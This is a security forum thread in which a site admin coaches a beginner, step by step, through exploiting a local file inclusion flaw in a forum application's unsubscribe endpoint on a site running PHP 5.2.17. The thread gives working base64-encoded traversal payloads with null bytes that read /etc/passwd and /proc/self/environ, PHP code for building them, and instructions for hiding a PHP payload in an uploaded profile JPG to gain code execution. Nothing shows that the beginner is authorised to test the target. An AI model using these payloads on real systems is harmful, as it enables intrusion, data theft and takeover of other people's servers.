Waraxe IT Security Portal

supertata2 · Beginner

http://www.waraxe.us/content-86.html

i have some questions which confuses me
i have some questions hopefully someone nice will answer me Smile

waraxe · Site admin

You can find many tutorials about exploiting LFI via "/proc/self/environ" and uploaded gif/jpg pictures, for example:

https://bechtsoudis.com/hacking/php-code-into-jpeg-metadata-from-hide-to-unhide/

http://www.wildhacker.com/2012/01/hack-website-local-file-inclusion.html

supertata2 · Beginner

waraxe · Site admin

First of all, there are preconditions listed in advisory:

Preconditions:
1. attacker must be logged in as valid user
2. PHP must be < 5.3.4 for null-byte attacks to work

If you want to use uploaded picture with php code inside or
"/proc/self/environ", then you need null byte and newer php
versions are protected against this type of attack.
What php version it is?

Next, you need carefully constructed GET parameter "key".
And it must be base64 encoded!

User id is 32 and email is supertata@hotmail.com?

Then first you need semicolon separated string like this:

forums;/../../test;1;32;32;supertata@hotmail.com

Use base64 encoder:

http://base64-encoder-online.waraxe.us/

And you get:

Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t

Now issue GET request:

index.php?app=core&module=global&section=like
&do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MzI7MzI7c3VwZXJ0YXRhQGhvdG1haWwuY29t

Do you see error message "Fatal error: Uncaught exception" as result?
If you don't see that message, then something is wrong - target may be
not exploitable or you did something wrong.
If you see specific error message, then you can do next test.

supertata2 · Beginner

yes i do see the error message
i now understand about uploading the null byte
but i still don't understand the next step
what is this line /../../test? is it the path / folder of the file?
how can i call the php file?
php version of the site is:5.2.17
thank you again

waraxe · Site admin

According to php version it may be possible to use null bytes.
Now there is one thing, that makes exploitation little bit harder - we need
base64 encoder, which does accept null bytes. Online encoder usually do not
offer such functionality. One way to solve this problem is using your
own custom made base64 encoder:

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../etc/passwd\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

And you will get base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dkADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ

Try to use that and you may be able to get the contents of "/etc/passwd" file.

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../../../../../../../../../../proc/self/environ\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

Base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcm9jL3NlbGYvZW52aXJvbgA7MTszMjszMjtzdXBlcnRhdGFAaG90bWFpbC5jb20

In case of success you will see specific response, revealing some environment variables.

And finally let's try using profile picture with php payload:

<?php
error_reporting(E_ALL);
$in = "forums;/../../../../../uploads/profile/photo-32.jpg\0;1;32;32;supertata@hotmail.com";
$out = base64_encode($in);
echo $out;
?>

Base64 encoded string:

Zm9ydW1zOy8uLi8uLi8uLi8uLi8uLi91cGxvYWRzL3Byb2ZpbGUvcGhvdG8tMzIuanBnADsxOzMyOzMyO3N1cGVydGF0YUBob3RtYWlsLmNvbQ

Choose jpg picture with size smaller than 100x100 px, add php payload and then
upload as profile picture. Use example above and you should get php level access.